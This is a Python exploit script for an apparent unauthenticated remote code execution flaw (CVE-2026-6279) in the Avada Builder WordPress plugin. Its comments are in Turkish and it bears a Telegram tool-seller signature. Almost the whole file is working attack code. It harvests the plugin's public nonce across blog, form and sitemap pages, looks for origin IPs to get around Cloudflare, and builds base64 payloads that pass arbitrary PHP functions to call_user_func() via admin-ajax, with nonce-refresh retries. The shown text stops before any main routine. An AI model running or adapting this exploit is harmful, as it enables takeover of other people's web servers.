1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
╔═══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 — Avada Builder <= 3.15.2 ║
║ Unauthenticated Remote Code Execution via call_user_func() ║
║ ║
║ Vulnerability Chain (resmi CVE'den): ║
║ 1. fusion_load_nonce → UID 0 için deterministik, public sayfalarda ║
║ [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u ║
║ olan sayfalarda JS çıktısına eklenir ║
║ 2. wp_ajax_nopriv_fusion_get_widget_markup → auth gerektirmez ║
║ 3. render_logics → base64 JSON decode ║
║ 4. get_value() wp_conditional_tags case → call_user_func() ALLOWLIST YOK ║
║ 5. RCE ║
║ ║
║ Copyright © 2026 private ║
║ Signature: https://t.me/FreeToolsCpa ║
║ Special Thanks: all poeple 💜 ║
╚═══════════════════════════════════════════════════════════════════════╝
"""
import requests, base64, json, re, sys, time, socket
import urllib3, threading, random, string, os
from queue import Queue, Empty
from datetime import datetime
from packaging import version as pkg_version
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TIMEOUT = 12
VERIFY_SSL = False
VULN_MAX_VERSION = "3.15.2"
SIGNATURE = "https://t.me/FreeToolsCpa"
S1 = "___XN1337_S1___"
S2 = "___XN1337_S2___"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
M = "\033[95m"
P = "\033[1m"
DM = "\033[2m"
W = "\033[97m"
N = "\033[0m"
# ──────────────────────────────────────────────────────────────
# CF IP RANGES
# ──────────────────────────────────────────────────────────────
CF_RANGES = [
"103.21.","103.22.","103.31.","104.16.","104.17.",
"104.18.","104.19.","104.20.","104.21.","104.22.",
"108.162.","131.0.","141.101.","162.158.","172.64.",
"172.65.","172.66.","172.67.","172.68.","172.69.",
"172.70.","172.71.","188.114.","190.93.","197.234.",
"198.41.","199.27.",
]
def is_cf_ip(ip):
return any(ip.startswith(r) for r in CF_RANGES)
# ──────────────────────────────────────────────────────────────
# HTTP HELPERS
# ──────────────────────────────────────────────────────────────
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0.0.0 Safari/537.36"
def mksess(extra_headers=None):
s = requests.Session()
s.headers.update({
"User-Agent" : UA,
"Accept" : "text/html,application/xhtml+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Connection" : "keep-alive",
})
if extra_headers:
s.headers.update(extra_headers)
s.verify = VERIFY_SSL
return s
def resolve(t):
t = t.strip().rstrip("/")
if re.match(r'^https?://', t): return t
return f"http://{t}"
def try_https(sess, base):
if base.startswith("http://"):
https = base.replace("http://","https://")
try:
r = sess.get(https+"/", timeout=TIMEOUT)
if r.ok: return https
except: pass
return base
def shell_escape(cmd):
return cmd.replace("\\","\\\\").replace("'","\\'")
def rand_tmp():
r = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"/tmp/._{r}"
# ──────────────────────────────────────────────────────────────
# NONCE
#
# Resmi CVE'ye göre:
# fusion_load_nonce sadece şu shortcode'ları içeren sayfalarda üretilir:
# - [fusion_post_cards]
# - [fusion_table_of_contents]
# Bu nedenle nonce tarama bu shortcode'ları içeren sayfaları önceliklendirir.
# Nonce UID 0 için deterministik → public sayfada JS çıktısına eklenir.
# ──────────────────────────────────────────────────────────────
# Resmi CVE: bu iki shortcode nonce'u tetikler
NONCE_TRIGGER_SHORTCODES = [
"fusion_post_cards",
"fusion_table_of_contents",
]
# Nonce pattern'leri — fusionPostCardsVars ve fusionTableOfContentsVars önce
NONCE_PATTERNS = [
# Resmi CVE: bu iki değişken nonce'u taşır
r'fusionPostCardsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionTableOfContentsVars\s*[=,]\s*\{[^}]{0,600}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
# Genel fusion nonce pattern'leri
r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]{8,12})',
r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]{8,12})",
r'fusionVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'fusionWidgetVars[^}]{0,400}"nonce"\s*:\s*"([a-zA-Z0-9]{8,12})"',
r'awb_nonce["\s:=]+([a-zA-Z0-9]{8,12})',
]
NONCE_BLACKLIST = [
r'um_scripts',r'mecdata',r'woocommerce',r'yoast',
r'elementor',r'contact.form',r'wpforms',r'_wpnonce',
r'learnpress',r'buddypress',
]
AVADA_INDICATORS = [
'fusion-builder','fusion_load_nonce','fusionloadnonce',
'avada','fusion-scripts','awb-','fusion_dynamic_css',
'fusionVars','fusionPostCardsVars','fusion-menu',
'fusion_post_cards','fusion_table_of_contents',
]
# Resmi CVE: shortcode içeren sayfalar önce taranmalı
# [fusion_post_cards] → blog, portfolio, news gibi sayfalarda
# [fusion_table_of_contents] → uzun içerikli sayfalarda
SLUGS_SHORTCODE = [
# [fusion_post_cards] olma ihtimali yüksek
"blog","news","portfolio","work","projects","shop",
"services","gallery","events","articles","posts",
"case-studies","insights","updates","resources",
# [fusion_table_of_contents] olma ihtimali yüksek
"about","about-us","faq","documentation","docs",
"guide","tutorial","terms","privacy","legal",
"knowledge-base","help","support",
]
SLUGS_FORM = [
# Form sayfaları — fusion_form shortcode
"contact","contact-us","get-in-touch","iletisim",
"register","signup","booking","demo","free-trial",
"request-quote","appointment","quote","teklif",
]
SLUGS_FALLBACK = [
"","home","pricing","team","testimonials",
"careers","partners","sample-page",
]
SITEMAP_PATHS = [
"/sitemap.xml","/sitemap_index.xml","/wp-sitemap.xml",
"/sitemap-index.xml","/post-sitemap.xml","/page-sitemap.xml",
]
def _is_blacklisted(line):
l = line.lower()
return any(re.search(p, l) for p in NONCE_BLACKLIST)
def ekstrak_nonce(html):
"""
Resmi CVE'ye göre önce fusionPostCardsVars ve
fusionTableOfContentsVars içindeki nonce'u ara.
"""
if not html: return ""
lines = html.splitlines()
for pat in NONCE_PATTERNS:
m = re.search(pat, html, re.IGNORECASE | re.DOTALL)
if not m: continue
val = m.group(1)
if len(val) < 8: continue
nline = next((l for l in lines if val in l),"")
if _is_blacklisted(nline): continue
return val
return ""
def has_trigger_shortcode(html):
"""
Resmi CVE: nonce sadece bu shortcode'ları içeren sayfalarda üretilir.
HTML'de shortcode izlerini ara (rendered veya raw).
"""
if not html: return False
lower = html.lower()
return (
"fusion_post_cards" in lower or
"fusion_table_of_contents" in lower or
"fusionpostcardsvars" in lower or
"fusiontableofcontentsvars" in lower
)
def is_avada(html):
return any(k in html.lower() for k in AVADA_INDICATORS)
def fetch_nonce_from_url(url, extra_headers=None):
sess = mksess(extra_headers)
try:
r = sess.get(url, timeout=TIMEOUT)
if r.ok:
n = ekstrak_nonce(r.text)
if n: return n, url
except: pass
return "", url
def _parse_sitemap(sess, url, depth=0, max_depth=2):
if depth > max_depth: return []
pages = []
try:
r = sess.get(url, timeout=TIMEOUT)
if not r.ok: return pages
locs = re.findall(r'<loc>(.*?)</loc>', r.text)
for loc in locs:
if ".xml" in loc and ("sitemap" in loc.lower() or "index" in loc.lower()):
pages.extend(_parse_sitemap(sess, loc, depth+1, max_depth))
else:
pages.append(loc.rstrip("/"))
except: pass
return pages
def _sitemaps_from_robots(sess, base):
sitemaps = []
try:
r = sess.get(f"{base}/robots.txt", timeout=TIMEOUT)
if r.ok:
for line in r.text.splitlines():
line = line.strip()
if line.lower().startswith("sitemap:"):
sitemaps.append(line.split(":",1)[1].strip())
except: pass
return sitemaps
def deep_scan_nonce(base, host_header=None, verbose=False):
"""
Resmi CVE'ye göre nonce tarama sırası:
1. Shortcode slug'ları (fusion_post_cards / fusion_table_of_contents)
2. Form slug'ları
3. Fallback slug'lar
4. Sitemap'ten bulunan sayfalar — shortcode içerenler önce
5. RSS Feed
6. REST API
7. Kalan linkler
"""
extra = {"Host": host_header} if host_header else None
sess = mksess(extra)
shortcode_urls = [] # shortcode içerdiği tespit edilen sayfalar
found_urls = [] # diğer sayfalar
def _check(url, html):
n = ekstrak_nonce(html)
if n:
if verbose:
sc = " [shortcode✓]" if has_trigger_shortcode(html) else ""
log_ok(f"nonce: {M}{n}{N}{sc} {DM}(src: {url}){N}")
return n, url
return "",""
def _fetch_and_check(url):
try:
r = sess.get(url if url.endswith("/") else url+"/",
timeout=TIMEOUT)
if not r.ok: return "",""
n, src = _check(url, r.text)
if n: return n, src
# shortcode var ama nonce henüz yok → listeye ekle
if has_trigger_shortcode(r.text):
shortcode_urls.append(url)
elif is_avada(r.text):
links = re.findall(
r'href=["\'](' + re.escape(base) + r'[^"\'#?]+)["\']',
r.text)
found_urls.extend(links[:5])
except: pass
return "",""
# 1. Shortcode slug'ları
for slug in SLUGS_SHORTCODE:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 2. Form slug'ları
for slug in SLUGS_FORM:
url = f"{base}/{slug}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 3. Fallback slug'lar
for slug in SLUGS_FALLBACK:
url = f"{base}/{slug}/" if slug else f"{base}/"
n, src = _fetch_and_check(url)
if n: return n, src
# 4. Sitemap
sm_paths = list(SITEMAP_PATHS)
for sm_url in _sitemaps_from_robots(sess, base):
path = sm_url.replace(base,"")
if path not in sm_paths: sm_paths.append(path)
for sm in sm_paths:
url = f"{base}{sm}" if not sm.startswith("http") else sm
found_urls.extend(_parse_sitemap(sess, url)[:30])
# 5. RSS Feed
for feed in [f"{base}/feed/", f"{base}/rss/", f"{base}/?feed=rss2"]:
try:
r = sess.get(feed, timeout=TIMEOUT)
if r.ok:
for link in re.findall(r'<link>(https?://[^<]+)</link>', r.text):
found_urls.append(link.rstrip("/"))
except: pass
# 6. REST API
for ep in [f"{base}/wp-json/wp/v2/posts?per_page=20",
f"{base}/wp-json/wp/v2/pages?per_page=20"]:
try:
r = sess.get(ep, timeout=TIMEOUT)
if r.ok:
data = r.json() if isinstance(r.json(), list) else []
for item in data[:20]:
u = item.get("link", item.get("url",""))
if u: found_urls.append(u.rstrip("/"))
except: pass
# 7. Shortcode içerdiği tespit edilenler önce, sonra diğerleri
seen = set()
for u in shortcode_urls + found_urls:
if u in seen: continue
seen.add(u)
try:
r = sess.get(u, timeout=TIMEOUT)
if r.ok:
n, src = _check(u, r.text)
if n: return n, src
except: pass
return "",""
# ──────────────────────────────────────────────────────────────
# ORIGIN IP (CF bypass)
# ──────────────────────────────────────────────────────────────
def find_origin_ip(domain):
subdomains = [
f"mail.{domain}", f"ftp.{domain}", f"smtp.{domain}",
f"direct.{domain}", f"origin.{domain}", f"server.{domain}",
f"cpanel.{domain}", f"webmail.{domain}", f"ns1.{domain}",
f"ns2.{domain}", f"api.{domain}", f"dev.{domain}",
f"staging.{domain}", f"test.{domain}", f"old.{domain}",
f"shop.{domain}", f"store.{domain}", f"blog.{domain}",
f"m.{domain}", f"mobile.{domain}", f"static.{domain}",
]
origins = []
for sub in subdomains:
try:
ip = socket.gethostbyname(sub)
if not is_cf_ip(ip): origins.append(ip)
except: pass
try:
ip = socket.gethostbyname(domain)
if not is_cf_ip(ip): origins.append(ip)
except: pass
return list(set(origins))
def verify_origin_ajax(ip, domain):
for scheme in ["http","https"]:
url = f"{scheme}://{ip}/wp-admin/admin-ajax.php"
try:
r = requests.get(
url,
headers={"Host": domain, "User-Agent": UA},
timeout=TIMEOUT, verify=VERIFY_SSL,
)
if r.status_code == 200 and r.text.strip() in ("0",""):
return scheme, url
except: pass
return None, None
# ──────────────────────────────────────────────────────────────
# PAYLOAD
#
# Yapı B (good8 çalışan):
# render_logics = base64({"type":"wp_conditional_tags",
# "value":{"function":f,"args":"id"}})
# direkt POST field, widget_type ile birlikte
#
# Yapı A (good7 orijinal, fallback):
# data = json({"widget_id":"exploit",
# "render_logics":[{"condition_type":...,
# "condition_value":base64(...)}]})
# ──────────────────────────────────────────────────────────────
def b64j(obj):
return base64.b64encode(
json.dumps(obj, separators=(',',':')).encode()
).decode()
def make_post_B(nonce, func, arg_str, widget_type):
"""good8 çalışan yapı — render_logics direkt POST, args string"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"render_logics" : b64j({
"type" : "wp_conditional_tags",
"value": {"function": func, "args": arg_str},
}),
"widget_type": widget_type,
"type" : widget_type,
"widget_id" : "2",
"number" : "2",
}
def make_post_A(nonce, func, args_list):
"""good7 orijinal yapı — data JSON içinde, args liste"""
return {
"action" : "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"data" : json.dumps({
"widget_id" : "exploit",
"render_logics": [{
"condition_type" : "wp_conditional_tags",
"condition_value": b64j({"function": func, "args": args_list}),
}],
}),
}
def ekstrak_s(raw):
i1 = raw.find(S1); i2 = raw.find(S2)
if i1!=-1 and i2!=-1 and i2>i1:
return raw[i1+len(S1):i2].strip()
return ""
def strip_wrapper(body):
body = body.strip()
if not body: return ""
try:
j = json.loads(body)
if isinstance(j, dict):
d = j.get("data", j.get("output",""))
if d: return str(d)
except: pass
return body
# ──────────────────────────────────────────────────────────────
# AJAX CORE
# ──────────────────────────────────────────────────────────────
def _ajax(sess, ajax_url, post_data, host=None):
h = {
"X-Requested-With": "XMLHttpRequest",
"Origin" : re.sub(r'/wp-admin.*','',ajax_url),
"Referer": re.sub(r'/wp-admin.*','',ajax_url)+"/",
}
if host: h["Host"] = host
try:
r = sess.post(ajax_url, headers=h, data=post_data, timeout=TIMEOUT)
return r.status_code, r.text
except: return 0,""
def _ajax_retry(sess, ajax_url, post_data,
nonce_src="", host=None, retry=2):
"""Nonce expire olursa otomatik yenile."""
cur = post_data
for attempt in range(retry+1):
st, body = _ajax(sess, ajax_url, cur, host)
if st==403 and body.strip()=="-1":
if attempt<retry and nonce_src:
n,_ = fetch_nonce_from_url(nonce_src,
{"Host":host} if host else None)
if n:
cur = dict(cur)
cur["fusion_load_nonce"] = n
continue
return 403,"__NONCE_EXPIRED__"
return st, body
return 403,"__NONCE_EXPIRED__"
# ──────────────────────────────────────────────────────────────
|